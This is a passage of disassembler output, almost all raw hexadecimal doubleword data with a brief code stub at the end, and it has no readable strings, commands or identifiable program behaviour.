		dd 0CCB49EC3h, 0FE974180h, 31DCA0h, 0FCC7772Dh,	47F3E3B0h
		dd 0FD51BE05h, 78F01B2Ah, 0DD9402D8h, 0B85BAFB9h, 8056FC85h
		dd 227A8E29h, 8F681200h, 0E02F27B7h, 1A3A0055h,	0EFCB0838h
		dd 0A060EE53h, 0B2509690h, 1E7A015Bh, 0FAE83C5Ch, 8F486094h
		dd 0E4CC5Ch, 0FD52E14Dh, 698DD1h, 0A5CDE5BDh, 8CDA9423h
		dd 29025900h, 0BE3E9311h, 290A4CCBh, 5C166712h,	279C040h
		dd 0BB632507h, 0C98C2912h, 0A5A9000h, 0FD3671h,	48FBAC81h
		dd 0CD1CC4B3h, 890B433Eh, 25DC38Bh, 46D3B268h, 0C4B4008Ch
		dd 0D17CD03Eh, 90009ACAh, 641494F1h, 3C22B5h, 300F83FAh
		dd 0C69FAA21h, 0C28CD300h, 0D27BAC65h, 0B8009750h, 91D6F870h
		dd 0E000B173h, 0C5A90868h, 0E64AB5h, 7746ACBh, 8C4621E8h
		dd 0F0068A01h, 7899ABA1h, 555CF4h, 0DDE10F35h, 9F402C66h
		dd 9A006C7Eh, 7F60F5B7h, 25341BEh, 8591B8ADh, 2854AA29h
		dd 1249AE1Ch, 6F620084h, 155F76Bh, 4A141CE8h, 6035FAC6h
		dd 4638DB25h, 66DC81F3h, 5E65701h, 0A2B6E8h, 7BF018A3h
		dd 0F55C7DD3h, 8B4C757Bh, 98160090h, 0F874C357h, 0B9B70039h
		dd 0D0D18D9Fh, 4B005B26h, 0EB40384Dh, 0FB3026Fh, 0A6B2B8A4h
		dd 6AE0AD8Fh, 792DFEE1h, 0BD988C03h, 0F22B211Ah, 28306960h
		dd 24695870h, 803CD69Ch, 0ABE82361h, 0E700DA02h, 0F27ECA2Ch
		dd 0F7315Ch, 733F9C97h,	4EC2D295h, 881B8301h, 1DA0F226h
		dd 95C2930h, 0D8733C59h, 2C965441h, 5ADE0018h, 0C03761C1h
		dd 4325C80h, 12E73500h,	3CB2DFBCh, 2A741013h, 9D456900h
		dd 7ECE14Bh, 919F8A3Bh,	0F988A01Eh, 217C7430h, 0B6B51800h
		dd 39C6AF76h, 0E1AA00D6h, 0B98DF7D4h, 0ED5FFC6Ch, 33DCF000h
		dd 503FA3C9h, 0A6F839h,	0A914B8A1h, 9017BE9Bh, 42B7F500h
		dd 1CFD758Ch, 787E1CF0h, 0E17FC06Fh, 0F961EA66h, 0B0A2EE00h
		dd 298D2499h, 0DE804E0h, 0A0DDC5BBh, 0EA0092E4h, 31391B22h
		dd 169ECF27h, 0C06CDCA7h, 830A8EA8h, 5AAE9A07h,	402FF3ACh
		dd 9BC9D05Bh, 0E6AF003Eh, 0EA938D9h, 0CC1A7077h, 60F6CAB4h
		dd 11520Ch, 2BC63C4Bh, 0DB8E9DC8h, 0C0016307h, 79808FAAh
		dd 5A21C294h, 0A49003D8h, 2AD1444Dh, 0F080D2FBh, 0C4CB387h
		dd 69031094h, 991D736Dh, 0EAD4A871h, 106B01E3h,	5696D5B8h
		dd 0BECC407Fh, 80604D18h, 2DC4CD40h, 6AEB00C5h,	0DAB0758Fh
		dd 7C3CAEC6h, 5A7F8069h, 52E6BC48h, 0E8610563h,	0C083191Dh
		dd 324F92DCh, 12702200h, 0C560F608h, 0B17673h, 9F76B2B3h
		dd 0F0E41D85h, 96AA4A00h, 0F8C0EB22h, 48FB7FE8h, 3E8064C4h
		dd 8C6B3AC6h, 2D218B00h, 33FCED1Ah, 60309ED1h, 0B2BEA69Fh
		dd 3B236E09h, 0D1002117h, 22F5A6Ch, 86B9A370h, 0CB1EF45Ch
		dd 420F9540h, 0FE45216Bh, 96F6009Dh, 0EEFFF447h, 0C8004C1Fh
		dd 0EA47B27h, 0BA8E39h,	16E6ABD5h, 8FDA0767h, 1F9AD913h
		dd 519EEC40h, 2E9F5FB9h, 0BE985BF5h, 0C10DB28h,	0BB919A0h
		dd 0F7E85D29h, 108CD728h, 590F8401h, 3138B04Dh,	7394160h
		dd 0ABFE712Ah, 28650EBh, 0A30025F3h, 0BC8BE17Bh, 5E48B921h
		dd 3C800E0h, 3FBAE389h,	40999428h, 0BD771300h, 0A7100636h
		dd 43020358h, 47452D19h, 1F8DC09Dh, 0F1E21D5Eh,	0E262AA01h
		dd 4FF8AC51h, 942C82D6h, 4D28829Fh, 41724010h, 253802D8h
		dd 591BE447h, 8EDAB0A0h, 0E2F0961Fh, 8A0C671Fh,	23016C40h
		dd 17549D16h, 0AC2B8FC9h, 32210000h, 0FFE3B59Ch, 6A7B90h
		dd 5175F877h, 8019A97Bh, 972B3C00h, 908BBB7Fh, 17C7234h
		dd 0EEA242E7h, 0D0AB6314h, 0CF0F7633h, 404F3E50h, 5CDBFBDFh
		dd 0DD110099h, 0DC9FE4B3h, 0FE985346h, 2ED11661h, 0AA10CFD8h
		dd 9C00B09Eh, 871735E5h, 440D73CEh, 160A755Ah, 9CE05CC4h
		dd 6E09D899h, 5E552183h, 2980DEC5h, 0DC01D63Ch,	532F1C4Fh
		dd 60807E86h, 605032E9h, 20C41DC4h, 41183B97h, 0BA18E795h
		dd 0FE206320h, 0C4720CBh, 867907F4h, 0EE29C960h, 336F268h
		dd 59390847h, 830604Fh,	500D21D6h, 91E00F2h, 0B56E8BEEh
		dd 79DEBC92h, 0FC589604h, 3500F4E9h, 0AC698937h, 1F19E22Ah
		dd 47081994h, 2F732180h, 82B5B689h, 0EBFE88C7h,	1F9838B6h
		dd 0C10DC441h, 0AEEAEDE0h, 7857D8F0h, 70D4C800h, 35DF9C87h
		dd 20233B66h, 553E170Eh, 0AE5F45C0h, 25384D81h,	197380F2h
		dd 3A93F96Ch, 0BB5800A6h, 28BF0F3Ch, 0AD0B691Fh, 0B4FBF8h
		dd 0B13752F6h, 114C01EDh, 88B0253h, 404DD1BAh, 5E07CCF1h
		dd 0C2D544Ch, 8463C35h,	0FF21C0E3h, 0AFB07D3h, 7C947A1Fh
		dd 0CFCD38C0h, 1E9192Bh, 15847E11h, 8004D748h, 7F02BD30h
		dd 605A2B10h, 7B6D1147h, 0C503497Ah, 0CE06E144h, 69083074h
		dd 7A628721h, 0C5259602h, 0C01C8DADh, 456F16h, 530F14AAh
		dd 892BE637h, 20683860h, 0C0B08CB5h, 437991D8h,	0FB60A4A2h
		dd 3F92B10h, 0D845019Bh, 3B73FC4Ch, 358C4053h, 0D00F8B0Ch
		dd 206AFEB5h, 0C603AB95h, 60060099h, 52AD56CFh,	653E07A2h
		dd 0CBAC806Dh, 0E263C758h, 0D4F6009Eh, 0D2C1BE3Ch, 0A9005D8Ah
		dd 4FE11D0Ch, 79C0F57Bh, 0D9542E26h, 0A01E3AD8h, 0D76743A2h
		dd 112B657Eh, 0FD1F0464h, 9510C6D8h, 17EB073Fh,	504FB9D3h
		dd 1EAF7B53h, 8CDFAA00h, 6C030C78h, 1D5C00D8h, 73CDEB2h
		dd 9A036592h, 7051776Bh, 0E7F89931h, 0E86B6ECh,	9B8063CCh
		dd 0B039D707h, 5D311B65h, 0B94C3600h, 408AC6EBh, 0C4DA008Eh
		dd 505CBAC8h, 6200F3EAh, 6C8CF2F8h, 67601Fh, 873947ECh
		dd 4878DB33h, 0ED71FD00h, 38C3C2DAh, 7EAB0E4Bh,	8AE1B504h
		dd 80AFF0CEh, 654043B0h, 3975B8h, 0BF273249h, 9CE9918Dh
		dd 133C3Dh, 0EA041271h,	76F3008h, 39A59DDAh, 790720E8h
		dd 4A7229FEh, 36B54C18h, 1DB9480h, 20FD7DE1h, 0E4516E1Fh
		dd 0E500DE69h, 3F43D3Ch, 38164Bh, 3915C5F2h, 0ACBE1355h
		dd 0CD2ADB03h, 0B8D4CB1Eh, 637B1Dh, 0A26E7D88h,	0A47765DEh
		dd 1420338h, 0F9686101h, 4CC02C7Bh, 19E7DDFh, 0A1E50C3Eh
		dd 0C025D511h, 1D3E9AAAh, 898B18B4h, 372A48h, 934CDBA6h
		dd 445D5232h, 0F26DF0A8h, 0C6DC6C07h, 0C8DD2736h, 0E80BE3FFh
		dd 2C703CDh, 9135B7E4h,	0B140DE22h, 0EA0061B6h,	0B29C435Fh
		dd 302358ABh, 0BC517235h, 7600BBA9h, 0F7D1E18Dh, 3D666B7Ch
		dd 1F00491Ch, 0FDB23714h, 2200D344h, 3C25F0DDh,	8040B4h
		dd 9CAA8397h, 900D17EFh, 286C8100h, 9AA03377h, 22DA00E8h
		dd 55FA85F5h, 0F200CA76h, 43DDF4E4h, 25CC7Fh, 3D5AE266h
		dd 28FE35EEh, 3F18E301h, 6A4A1E13h, 0A40C20h, 5DF7D912h
		dd 7D80B28Bh, 8A9E2F01h, 0C6FA75F4h, 5679FC40h,	316E1733h
		dd 0FC5F0092h, 22FD9B64h, 48C9DC24h, 62494400h,	1CBC35h
		dd 0F7334AEFh, 1F959E7Dh, 0D0DDA600h, 0C37553F0h, 131EAC5h
		dd 1E63A798h, 0EDAD8D47h, 0A7C7072h, 0B4342E24h, 26381F80h
		dd 5958F9h, 8B4F7FEEh, 0E0970B40h, 5551B301h, 0EA07DB70h
		dd 0F89FE0h, 9A6BC5CDh,	3EBFF62Eh, 0A13B4E00h, 0B0FA1CF7h
		dd 0F1AF008Dh, 56106D91h, 0D41D9BC9h, 4D809FE3h, 6B5FB694h
		dd 0E17600F2h, 0FA095DB2h, 9A545051h, 0ECFDA4E0h, 1A0328F7h
		dd 0A5FC85A3h, 46C08592h, 867811h, 0FFA081CDh, 0E4ACD2C5h
		dd 0F83D947Bh, 0BE1280A2h, 960FCCEh, 0FDAD50CFh, 0C1C400B4h
		dd 802D2238h, 0DC502002h, 4C0026B4h, 90CE2353h,	4D1451A5h
		dd 0AE0F3856h, 3DE01D65h, 0BF2B2E3Ah, 0D0CF8B05h, 8C005071h
		dd 1DD75D09h, 0D4193D4Eh, 18533298h, 5600F296h,	6702818Ch
		dd 4FF7DEh, 5C25310Fh, 7FA105F1h, 5F005375h, 0D59B4122h
		dd 76560ACFh, 0F44D0377h, 0CE51999Ch, 2B6C2D98h, 0B6E3540Bh
		dd 0CC2E8A89h, 0A9E56000h, 0BA1279h, 0AF6D1888h, 5368DB67h
		dd 93A81107h, 468061C7h, 79FCEDh, 1DB63963h, 8AADD14Dh
		dd 0BD51020Bh, 36070FDEh, 96161100h, 0C0414Ch, 0F184D683h
		dd 5A61A223h, 0BA978B01h, 1A7A67AEh, 139E5C0h, 0E6F85F15h
		dd 701FCC54h, 380A84B2h, 9C8557B9h, 6BB1A700h, 509107h
		dd 0C2124A51h, 165A5BECh, 0B5C3240Fh, 1FF30EC9h, 68AE0A03h
		dd 3FABC01Fh, 5F6700C8h, 0C675F61Ch, 0A338A10Eh, 2866899Ah
		dd 0E2B480F3h, 4A0625h,	946B92FEh, 3AA0EC58h, 0A60DAB03h
		dd 0B7513733h, 0F2D1EB37h, 28648C3Dh, 0AFF0D5h,	0EEC0943h
		dd 2CBF4E27h, 366B3300h, 79149EADh, 5FFD004Ch, 0A3C035C7h
		dd 0F24D394Eh, 0F50D0044h, 0C4958FCBh, 0EE7E0114h, 0BF3C9821h
		dd 0FD11800Eh, 4777033h, 1390F21Bh, 767CDFh, 57F82E1Fh
		dd 5FEA2723h, 0B074F100h, 3EE6773Ch, 0BBA300F4h, 97FB53ACh
		dd 932667ADh, 0AA0094CCh, 4B9AA6F6h, 43C307EBh,	22661191h
		dd 904BA3E5h, 7CD91FC0h
		dd 0CD7B10Ah, 8C20AC52h, 0DB09E30Eh, 0B0D6E00Ah, 2C104Fh
		dd 0E9827E16h, 0CCB6C837h, 0F1954100h, 9DDEAC94h, 0C14D00ADh
		dd 0FD712806h, 0EB009379h, 949C1C49h, 232147h, 0ADEC30A5h
		dd 5653249Dh, 2FD0DF00h, 0BB3B4399h, 8657134Fh,	6E444036h
		dd 6DC68715h, 21D5080Eh, 93322AA1h, 4EDC4700h, 152A8Fh
		dd 0ED271F7Dh, 0E4A4C043h, 8BB70F03h, 0E0CE9AADh, 1F53C682h
		dd 400E5B3Bh, 0C5168F7Ch, 831FECFCh, 2F00303Ch,	408505F4h
		dd 846C004Ch, 0F08E720Fh, 0E0000C37h, 0B4EBC8CFh, 5E6F3Dh
		dd 574BF99Dh, 8C94D22Ah, 3F2D5A00h, 438A3261h, 78AE73E3h
		dd 0FF810075h, 2C0B1542h, 8F00C1C0h, 631E04FDh,	758819E8h
		dd 54B90116h, 45E14AB0h, 0D014356Fh, 0E0022F7h,	5DBAB3DCh
		dd 39E6C554h, 740090B2h, 1E07BBEDh, 0C201FEC1h,	9865F9C6h
		dd 0A930D171h, 0C270018h, 565E03A0h, 391ECEFDh,	0E1143C85h
		dd 0CC49A4h, 0E3580B07h, 0F7E69Bh, 898AA388h, 0D9A29F8Fh
		dd 72A4401Dh, 0A0B8340Bh, 0BC45A090h, 0B3B7869h, 963C80F8h
		dd 0D100E57Eh, 7E1F626Eh, 43D528F9h, 0F7560118h, 1823A398h
		dd 0DFD98370h, 0E0C21C96h, 62832Ah, 47C6A380h, 0E2ADE1CBh
		dd 0BCB7B609h, 0E04C816Fh, 22C58908h, 2BD72050h, 1DB404E6h
		dd 9058C783h, 8714DF5Ch, 88174978h, 0CD010A6Bh,	681FE1A7h
		dd 52DCACC5h, 55C500B6h, 645831Bh, 0C6014AAAh, 3FE8DBEh
		dd 33F0CA47h, 0C177031Ah, 998680F2h, 8BF07E8h, 72465031h
		dd 96203154h, 34060E13h, 0C0FCDAC8h, 6A6D2A9Ch,	0ED002FC3h
		dd 5E9BD19Ah, 1306B01Dh, 2B64A8Bh, 0C517D918h, 3DC28CA1h
		dd 0D02AC02Fh, 2383880Dh, 1CF0898h, 2FA68721h, 0F9F2DD8Bh
		dd 8C5CC938h, 20416648h, 62D82AB1h, 381D0C88h, 92069BBh
		dd 5B0E1502h, 2F545EB0h, 0BC579F61h, 74118068h,	1D3D0401h
		dd 58E90CFFh, 9808C3D5h, 0A964FCA0h, 96050800h,	11F4955h
		dd 0D3B6064Bh, 582F611Dh, 0A3681B18h, 33852B91h, 481983DDh
		dd 788459F2h, 2F3B6093h, 0E02A2302h, 89189911h,	81A420ACh
		dd 2B320B18h, 60B9A219h, 1487B952h, 0C3032F2Eh,	57EE9F6Ah
		dd 0C5A8C0E4h, 95BE499h, 76B0F819h, 0FEE24407h,	0A5FA6EE0h
		dd 0CC006884h, 7FC2F81h, 3FD8AF5Eh, 9700378Fh, 0D0497688h
		dd 266FAE3Eh, 0B8041594h, 842C309Fh, 0EC9B0D10h, 816C9900h
		dd 5C413DE1h, 1F90003Bh, 1CEA5A8h, 0EF000287h, 0D0AFF251h
		dd 0F5031h, 682FB6ECh, 61F90C17h, 0D45E4E00h, 7FC1E896h
		dd 0B7E97A3Ch, 0F707C2D0h, 3CEBA65h, 677C5F70h,	1B810001h
		dd 0AF87C6C8h, 0BB03FA02h, 1C9ADA26h, 756E9148h, 33061ECh
		dd 0CA1678B2h, 0D0C0C5EFh, 150041A4h, 9C27E138h, 7147C7h
		dd 0E4C140E2h, 20BA0108h, 4BA4D802h, 60ACDFE9h,	0E0B989Eh
		dd 587B4702h, 0AF3774A3h, 0A78C97F8h, 0BEB3D306h, 38E2C0Fh
		dd 5EBA92C9h, 6FE05210h, 0D30230C3h, 84D22804h,	9DDC60C5h
		dd 61790102h, 99092722h, 0F730D4CEh, 0B5D0A000h, 0E9395C65h
		dd 0F1040006h, 0E64E77Eh, 1F009AEBh, 0F310C763h, 6A36FE5h
		dd 0DABF2ECBh, 0D500D9E9h, 0AFFFCDC1h, 14E83446h, 0D08907D3h
		dd 30E2E700h, 0FB17B345h, 0B2233Fh, 7EED966Fh, 0F5401DCh
		dd 0C8D0CCD9h, 4AD6A480h, 5A1D6CE8h, 0AA7E5350h, 8C13FC95h
		dd 550F7B12h, 0A6463F1h, 5AADD07Ch, 0A0E560A2h,	0A805F51Eh
		dd 920CD500h, 0FF1666C4h, 0B5F93E18h, 942200FBh, 0D7329E59h
		dd 606DB29h, 65383AECh,	0E689841h, 0A2D55123h, 218D0860h
		dd 11007431h, 4ADEE422h, 4C69FF72h, 0C05AEE0Bh,	0B1356692h
		dd 0A6981B00h, 9B702634h, 167230CBh, 610C5BC8h,	9C66EF7Dh
		dd 0F92C16h, 5C5E6B09h,	38917D7h, 73FF5007h, 0B8D5A152h
		dd 6F5881ABh, 0ED80C72Dh, 0E404D525h, 1D170D6Eh, 45558090h
		dd 0A6E101E6h, 2EF78DB8h, 1586CC19h, 1369DE4Ch,	7900E5A8h
		dd 9F544656h, 0ADF1244Dh, 0BB430680h, 0C4018944h, 2A2F17A9h
		dd 56E13B40h, 0FF64DF8h, 0E85D862Dh, 5BBDD0E3h,	3ADB89F0h
		dd 0B152B300h, 0EE7095E5h, 0E7A7Eh, 0D817C811h,	482EFCCEh
		dd 48ED21Dh, 1D35007Dh,	0E4FAD457h, 37D005F1h, 40CD39E8h
		dd 7F1379E8h, 1A01DE4Bh, 0B81BED75h, 7AE4C828h,	7D3C00E0h
		dd 0E2767B13h, 5D1C3648h, 7780D12Ah, 0C47482BFh, 6A811229h
		dd 7541C07h, 0E0201BEFh, 6D0D8995h, 94942754h, 0BDDE2E0Fh
		dd 9384A183h, 7FFCD25Fh, 0E0640BD1h, 958005C2h,	25E4DD88h
		dd 85F62D00h, 4CE51E27h, 0CB9E24D2h, 1B0B00F0h,	0CE9444DBh
		dd 0F725BA07h, 83D03A9Fh, 0E01EC291h, 17D11ED3h, 43041F51h
		dd 473BDAD5h, 8A2A3101h, 36431A62h, 0B3B290FFh,	0E2F216C2h
		dd 91100D4h, 2D2F6621h,	248B5006h, 247042h, 0C48FE919h
		dd 0B633BE3Fh, 68C75C00h, 2D29D343h, 80843420h,	4DA840ECh
		dd 7435F7D7h, 3819C12h,	443A840h, 3F06E4E7h, 7A80F019h
		dd 330AC071h, 400066C8h, 773488C7h, 902D8DA1h, 0EDBD03EEh
		dd 6672833Eh, 6C5A8FF8h, 39437D00h, 9D2CDAE8h, 706E0136h
		dd 0C4D3C08Bh, 25C03B93h, 0B234818h, 47D75FBDh,	2E8A6C00h
		dd 2712A09Ch, 6E0253ADh, 0E0A433D4h, 89AFEAh, 9D2439B9h
		dd 9958D312h, 0AA0AC8C0h, 0BF5D10h, 1FE9A890h, 0E4B76BE3h
		dd 0E52F5118h, 0F8DF10h, 56E11798h, 1B26A314h, 0F6FBB016h
		dd 205BF309h, 0B68563F8h, 445A4D50h, 1D901C29h,	0EB96C0EEh
		dd 18C260E8h, 7527B401h, 0B93A865Dh, 6801B080h,	7AAD8F3Fh
		dd 824F700h, 0DE3DBACFh, 0F4C503F2h, 0C08E10C1h, 55477800h
		dd 0E93FF15Dh, 0AD7A059Ch, 0C0516014h, 388CD36Dh, 0AF9D2A00h
		dd 281E1CA4h, 0D4FCC111h, 205C66C3h, 7607C1F8h,	0C4DD8FF4h
		dd 0A38D9BEh, 1FF0E5ECh, 5CEB04C8h, 1A01C0E0h, 0D7C5E62Ch
		dd 0F7832D00h, 0D96E91ECh, 30DC0044h, 7753EA8Ah, 0D700CAB3h
		dd 12B5AC2h, 64561Bh, 0CEE1C949h, 0E3EE4E76h, 0EB0DDE0Fh
		dd 8ECD204Ch, 1F20D368h, 0C35E7389h, 0B72514BFh, 30D72903h
		dd 0B075D959h, 1E0EDDCh, 68F9B409h, 708DE389h, 0DA0FF5EEh
		dd 3E3698CEh, 0A8D09A00h, 1E74EBAh, 58B81365h, 0F8F8AA7Ah
		dd 0E20A9C1Dh, 0D4A85080h, 61F4D383h, 0FA86904Fh, 1AD23A4Ah
		dd 0E9DFE75h, 0ACEE3A9Eh, 42380036h, 0B9B4E58Dh, 0BCBA8600h
		dd 45F35170h, 0D3B00075h, 3FD58E83h, 6A127881h,	6105C5CBh
		dd 3BC026F4h, 73C963h, 0B18504ADh, 1696DDEAh, 5BAE4700h
		dd 8FBC9139h, 0C7C3167Bh, 665440B2h, 420C58DFh,	0A3B9F900h
		dd 559C227h, 0AF50007Ch, 0CD6DE8C9h, 8DE049F0h,	0E9817304h
		dd 3CD02D27h, 1C0BC7BAh, 3B8CA987h, 0A7D900FDh,	0B6B3F297h
		dd 0E000C9DDh, 389F1EDCh, 4C177785h, 0D100D0F0h, 6684F34Ah
		dd 57076B02h, 0B78C5124h, 8E438DF0h, 0F89C49AFh, 0A62A9900h
		dd 0D18496ADh, 9990A4Ch, 14F5FAEh, 0A5047F78h, 9D52E8h
		dd 69FA51F3h, 6D29B6D1h, 9C9BD03Ch, 6A400BE3h, 0EB3B1928h
		dd 3E8AECC1h, 2A00D54Dh, 926D4E4Ah, 0C91CF9A7h,	354FB2B7h
		dd 9590022h, 0AA8CADh, 19033490h, 0D20A0137h, 3DD6F000h
		dd 32D49563h, 7908153Ch, 0BC05881Ah, 0C07571C2h, 0F8148BE0h
		dd 0C389BD20h, 1D800F10h, 34A5A490h, 7F06A2E4h,	1B120BF9h
		dd 59AD0F41h, 0E839D185h, 7EA0FBB9h, 9D545A3Fh,	97E07188h
		dd 2DE46E00h, 0B9B922Eh, 93E70049h, 0C027847Bh,	31000177h
		dd 6A1389FEh, 0F386DF9h
		dd 326663BAh, 0E0C6EF27h, 20379B03h, 2BC85A09h,	30BFA0A6h
		dd 0EF182D4Bh, 72AC9CE4h, 114100B6h, 5863A902h,	0F89D8E95h
		dd 25E900ECh, 60BDA85Bh, 4300678Fh, 0C1804945h,	3782321h
		dd 0EAC34BCEh, 83C0977Ah, 2900201Eh, 86071059h,	4C9C8F64h
		dd 5F0184B1h, 516EB361h, 81C1F01Fh, 6C6A2F00h, 0E1AE82FFh
		dd 0D2CB007Fh, 8AEB22E8h, 983914DFh, 0BA3C09A3h, 5135024Ch
		dd 1985052h, 0D911860Dh, 50279E9Fh, 0DD137CBCh,	344B3B2Ch
		dd 2DC0F71Ch, 89F4BF0Fh, 74EC0321h, 349E1A4Eh, 85C8310Fh
		dd 5F10046h, 62B233h, 4D0C25B6h, 600998B5h, 663E1D1Eh
		dd 48F4C394h, 952E0025h, 381CC8E9h, 82360319h, 0D472FB0Fh
		dd 750537B0h, 6C3FA1C0h, 482E0A03h, 9448281Ch, 26C33B1Ah
		dd 3A4000A3h, 0D5CC1FC0h, 0E083D700h, 0B75ADCC5h, 7174E9h
		dd 0A44F15B0h, 863B32C1h, 33C0CB00h, 865BCACh, 0C7020E16h
		dd 0B7C0B39Fh, 959E3D89h, 814E5330h, 124562h, 0F4B6C799h
		dd 9C223C04h, 2F8F8E97h, 50BE4064h, 54A1C8B1h, 5237880Fh
		dd 0B007B0EBh, 0F021DDA7h, 0C98B6FADh, 1A92A400h, 55C66AB8h
		dd 8C3907EAh, 0FADC3684h, 0A33C5804h, 15CA7701h, 0E51D9209h
		dd 8BA2D280h, 6B23D407h, 5ACE6A07h, 715084B6h, 0C4A24DCh
		dd 7912761Ch, 5100AB48h, 0D715FDBDh, 9F07EDh, 71B6392Dh
		dd 98483822h, 9BE3B800h, 4FDCD732h, 340414FCh, 10E12068h
		dd 36F1830h, 4F72DC6Bh,	0B803DD12h, 244FE16h, 1BE48054h
		dd 0E86870FCh, 91D9C0E6h, 4D6F4525h, 0AAFD9607h, 605CD3B9h
		dd 0F9326981h, 0E2C01600h, 8A00E10Fh, 4C7833D5h, 5DED8Bh
		dd 3E97A651h, 0A337C6A9h, 0D1C54A15h, 0B23C0E8Ch, 2A2E6068h
		dd 1BC9AFCh, 57020AFh, 0D967356Eh, 9E07D2CDh, 1857FF81h
		dd 4064119Eh, 281ABE3h,	39EC9F89h, 4E638874h, 0D0A6D921h
		dd 0E7E04Ah, 0D548B6FBh, 0DFBA67E1h, 0F8B8C0A1h, 6267979Dh
		dd 390CA630h, 0EBD400B2h, 643298A9h, 0BE7226E0h, 0CE71BD03h
		dd 2879528h, 0A762D9F0h, 80A09FB4h, 0FC52256Bh,	0C07063Fh
		dd 8D70EA8h, 0F521C005h, 0BB4952BDh, 574B7B00h,	0E103B131h
		dd 754438F6h, 0EDBAA004h, 3C2490A8h, 9F00583Eh,	78F774E1h
		dd 0E8FBC429h, 6221C08Eh, 56235846h, 644DB900h,	0F9142502h
		dd 0CF9088A9h, 52005C75h, 340522C7h, 0A483633Eh, 11117F58h
		dd 8C270730h, 0E1E187h,	0F9135229h, 0AE0C7A3Bh,	4AA2C602h
		dd 487CE331h, 3FEF810Ch, 0A8506635h, 462C90D9h,	62047671h
		dd 0E3F8540Dh, 3C20E732h, 71444536h, 733D243Fh,	7292039Ch
		dd 0C90095EDh, 25A90440h, 0AC7149h, 6568AF7Dh, 94F42A4h
		dd 4A18F563h, 0F0517FD1h, 4C8C03E5h, 0B0F832C3h, 4A5699F8h
		dd 370579C0h, 49ED1331h, 7D03E476h, 6870D207h, 20EE3860h
		dd 32672CCh, 0EEAB9B2Eh, 4EAAB9AEh, 0DB36FF60h,	3A81D112h
		dd 0B3A23400h, 1726EFA0h, 1037E19Dh, 710484E1h,	87B84BC0h
		dd 4C1FC7D0h, 510F7F19h, 82664E58h, 0B129A15Eh,	9EF841F8h
		dd 802C43E1h, 0C758496Fh, 13D70EC2h, 16E10C1Bh,	0C3FBE160h
		dd 0FE5E97D0h, 86B7BF14h, 137E043Ch, 9C82B65Bh,	0E3A430F9h
		dd 9281C908h, 34FA6288h, 0D08C2303h, 0C091BC7h,	0DACE8FE1h
		dd 0C01915C0h, 0E260A2D3h, 25FC4Ch, 0DAA62977h,	32D20124h
		dd 0B0EECB70h, 217AB30Ah, 0CA008017h, 7E1E280h,	94DB5282h
		dd 25238890h, 9A5BCD00h, 86F6CCE1h, 60DC3D55h, 0CE00544Fh
		dd 3873F44Dh, 21F8EFDh,	0B2077449h, 286053D8h, 0B4F216C8h
		dd 6A2CC1Ch, 2DA92487h,	95C07EC4h, 91B50562h, 52BF8188h
		dd 18D7044Eh, 0F0CB8989h, 585BA052h, 4012AACh, 3B41D51Fh
		dd 0D00FFFCEh, 64ED9C1Bh, 0B8C14418h, 4C24CB4Ch, 0F6C30360h
		dd 2E9C97F9h, 317677E8h, 217A8132h, 16344070h, 0C42009Bh
		dd 39C8F03Dh, 8C9AB5AAh, 0FCD3D891h, 15812063h,	0B3BEFC53h
		dd 3C160A00h, 7EA1015Eh, 0DE853FDCh, 470B10C8h,	44016994h
		dd 0E2432316h, 508ECC61h, 95AA788Ch, 35885A66h,	7F4B3161h
		dd 46561A0h, 4BA8C83h, 24C20631h, 154A035Ch, 945106A3h
		dd 948959AAh, 254ED70Bh, 709C1078h, 58D27229h, 0DA1190A8h
		dd 28CF06D4h, 52786320h, 8AF2D8D9h, 74C030h, 1329426Bh
		dd 2450966Eh, 0C2FCB906h, 0CA03882h, 0A24EFAEFh, 0B443A660h
		dd 0FD521002h, 831EF06h, 28F82180h, 0E4B14D52h,	0C0DBCE0Bh
		dd 8850179Dh, 626334FAh, 0AFE0C08Dh, 0F8E7609Dh, 0F4D7CE24h
		dd 35518312h, 22499040h, 0A87370A2h, 492367C4h,	0AB0408C5h
		dd 8AB972C9h, 0A2BA00CCh, 22CACC85h, 8E7F0EE5h,	0E6203EC4h
		dd 0F7342968h, 0AE08D000h, 0E3EDB4D2h, 944F496Bh, 183FB821h
		dd 0DE1803DDh, 658F04B1h, 819F4585h, 46E0774h, 58363081h
		dd 0E3089B0Ch, 0C48A81CCh, 83D647FBh, 21F709A0h, 0C8694854h
		dd 0C0C0A2CAh, 731520Ch, 80F00F53h, 6F5224C4h, 96D1009Dh
		dd 7C91B070h, 0AD042A29h, 0EC83FDB5h, 18900EC4h, 0A57808h
		dd 63BD9B96h, 0E0619204h, 9C7DD000h, 0C8C52E21h, 980CB1F2h
		dd 5B5C4A3Fh, 0A0DAA700h, 0D94241E2h, 114C00BFh, 7E407CB3h
		dd 8615887Ah, 5CC08CFh,	2F93EEC8h, 9A86CD0h, 6C4100EFh
		dd 0FF070D79h, 15E867D8h, 0E67D94A8h, 0CA83FB00h, 2026794Ah
		dd 0B1B83Ah, 5C88A905h,	0A682A8E0h, 959CFF54h, 71B5FC00h
		dd 0A7C8047Bh, 90FD7D2Bh, 0A3C13994h, 64F8A4CCh, 0E102018Ch
		dd 0DFBF286Fh, 90C05731h, 686BF1EEh, 0F4CE2F16h, 4D5A00BEh
		dd 9FB74A60h, 8684420Eh, 3826AAFBh, 9B5BCA40h, 86947EE1h
		dd 1263844h, 0DB9F5496h, 30122A67h, 6116AB40h, 5C4205BDh
		dd 0C842DE07h, 450FE38h, 93B80ADFh, 2A1CC08Ah, 7D206C0Fh
		dd 0DC7413A9h, 328C60DEh, 54230E45h, 3D443B20h,	0EC44F903h
		dd 626EC227h, 0D99E7068h, 88965900h, 7A30906Bh,	93AC00FCh
		dd 0E2A2053Bh, 0BC920651h, 80CB202Eh, 34BFCA83h, 2886B899h
		dd 0F40B1879h, 43C3E961h, 80F7033Ah, 0EFD72219h, 36B1283h
		dd 0C0DE2401h, 0D07C02A3h, 121CC358h, 8000AC58h, 51804091h
		dd 0FDF7016Bh, 11AFDBD6h, 0ABA082E2h, 45DA6097h, 8432E294h
		dd 5F38E219h, 1342B00h,	641FDBD7h, 0E0724424h, 35672176h
		dd 5AF438B2h, 0ED90088h, 0AFC35E4Fh, 0D4008E26h, 0E9D380F8h
		dd 0B86B2BEDh, 0B4BA2848h, 30940A64h, 82CCD795h, 186FE613h
		dd 6C049C40h, 2E29AD00h
		db 67h,	25h
; ---------------------------------------------------------------------------

locret_544F42:				; DATA XREF: ___:off_4374C8o
		leave
		mov	edx, 29CD604Bh
		retf
; ---------------------------------------------------------------------------
		db 33h,	99h, 0E0h
		dd 0C4EF7000h, 0D95177Dh, 0FA6E02B4h, 46297A3Ch, 5516C440h
